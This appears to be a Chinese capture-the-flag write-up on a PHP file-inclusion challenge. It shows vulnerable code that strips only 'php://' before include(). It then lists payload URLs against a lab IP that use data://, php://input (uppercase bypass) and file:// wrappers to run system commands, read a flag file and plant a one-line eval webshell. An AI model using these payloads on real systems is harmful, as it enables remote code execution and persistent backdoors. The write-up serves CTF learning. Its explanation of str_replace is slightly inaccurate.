一.代码解析
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
是php的代码,已经不陌生了,说一下关键的;hello变量可以接收GET过来的数据,同样page变量也可以;一个while循环,使用函数 strstr();
strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
其中,str_replace()函数就代替strstr()函数中的字符串为空格。
二.解决方法
方法1:利用php的伪协议
payload1: http://111.200.241.244:61218/?page=data://text/plain,<?php%20system("ls")?>
payload2: http://111.200.241.244:61218/?page=data://text/plain,<?php%20system("cat fl4gisisish3r3.php ")?>
查看网页源码,
方法2:根据pph://input 进行参数传递,传递想要的命令。注意大小写绕过。
方法3:利用file://协议,前提是要知道文件的绝对路径。
将源码中的base64加密的字符进行解密就可以了。
方法4:利用data:// 伪协议,进行php一句话木马的连接。
exp:http://111.200.241.244:61218/?page=data:text/plain,<?php eval($_POST['pass']);?>